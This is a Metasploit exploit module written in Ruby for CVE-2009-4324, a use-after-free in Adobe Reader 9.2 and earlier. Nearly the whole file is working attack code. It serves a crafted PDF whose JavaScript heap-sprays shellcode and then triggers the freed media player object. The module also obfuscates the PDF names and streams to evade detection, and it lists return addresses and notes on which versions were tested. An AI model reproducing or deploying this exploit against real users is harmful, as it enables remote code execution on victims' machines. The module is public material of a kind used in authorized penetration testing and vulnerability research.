##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Doc.media.newPlayer Use After Free Vulnerability',
      'Description'    => %q{
          This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat
        Professional versions up to and including 9.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'unknown', # Found in the wild
          # Metasploit version by:
          'hdm',
          'pusscat',
          'jduck',
          'jabra'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4324' ],
          [ 'BID', '37331' ],
          [ 'OSVDB', '60980' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # test results (on Windows XP SP3)
          # reader 6.0.1 - vulnerable / doesn't work
          # reader 7.0.5 - untested
          # reader 7.0.8 - untested
          # reader 7.0.9 - vulnerable / doesn't work
          # reader 7.1.0 - untested
          # reader 7.1.1 - untested
          # reader 8.0.0 - untested
          # reader 8.1.1 - works
          # reader 8.1.2 - untested
          # reader 8.1.3 - untested
          # reader 8.1.4 - untested
          # reader 8.1.5 - untested
          # reader 8.1.6 - untested
          # reader 9.0.0 - untested
          # reader 9.1.0 - works
          # reader 9.2 - works (no debugger, no DEP)
          [ 'Adobe Reader Windows English (JS Heap Spray)',
            {
              'Size'      => (0x10000/2),
              'Ret'       => 0x0c0c0c0c
            }
          ],
          [ 'Adobe Reader Windows German (JS Heap Spray)',
            {
              'Size'      => (0x10000/2),
              'Ret'       => 0x0a0a0a0a
            }
          ],
        ],
      'DisclosureDate' => 'Dec 14 2009',
      'DefaultTarget'  => 0))
  end


  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Make some nops
    nops      = Rex::Text.to_unescape([target.ret].pack('V'))

    # Randomize variables
    #
    len = 72
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')
    rand5  = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1')

    vtbuf = [target.ret].pack('V') * 4
    vtbuf << rand_text_alpha(len - vtbuf.length)
    vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1')
    retstring  = Rex::Text.to_unescape(vtbuf)

    # The printd strings are 72 bytes (??)
    script = %Q|
var #{rand1} = unescape("#{shellcode}");
var #{rand2} = unescape("#{nops}");
var #{rand3} = unescape("#{retstring}");
while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2};
#{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length);
memory=new Array();
for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; }
util.printd("#{rand4}", new Date());
util.printd("#{rand5}", new Date());
try {this.media.newPlayer(null);} catch(e) {}
util.printd(#{rand3}, new Date());
|
    # Create the pdf
    pdf = make_pdf(script)

    print_status("Sending #{self.name}")

    send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })

    handler(cli)

  end

  def random_non_ascii_string(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def io_def(id)
    "%d 0 obj" % id
  end

  def io_ref(id)
    "%d 0 R" % id
  end

  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def n_obfu(str)
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%x" % c.unpack("C*")[0]
      else
        result << c
      end
    end
    result
  end

  def ascii_hex_whitespace_encode(str)
    result = ""
    whitespace = ""
    str.each_byte do |b|
      result << whitespace << "%02x" % b
      whitespace = " " * (rand(3) + 1)
    end
    result << ">"
  end

  def make_pdf(js)

    xref = []
    eol = "\x0d\x0a"
    endobj = "endobj" << eol


    pdf = "%PDF-1.5" << eol
    pdf << "%" << random_non_ascii_string(4) << eol
    xref << pdf.length
    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
    xref << pdf.length
    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
    xref << pdf.length
    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
    xref << pdf.length
    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
    xref << pdf.length
    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
    xref << pdf.length
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
    pdf << "stream" << eol
    pdf << compressed << eol
    pdf << "endstream" << eol
    pdf << endobj
    xrefPosition = pdf.length
    pdf << "xref" << eol
    pdf << "0 %d" % (xref.length + 1) << eol
    pdf << "0000000000 65535 f" << eol
    xref.each do |index|
      pdf << "%010d 00000 n" % index << eol
    end
    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
    pdf << "startxref" << eol
    pdf << xrefPosition.to_s() << eol
    pdf << "%%EOF" << eol

  end
end
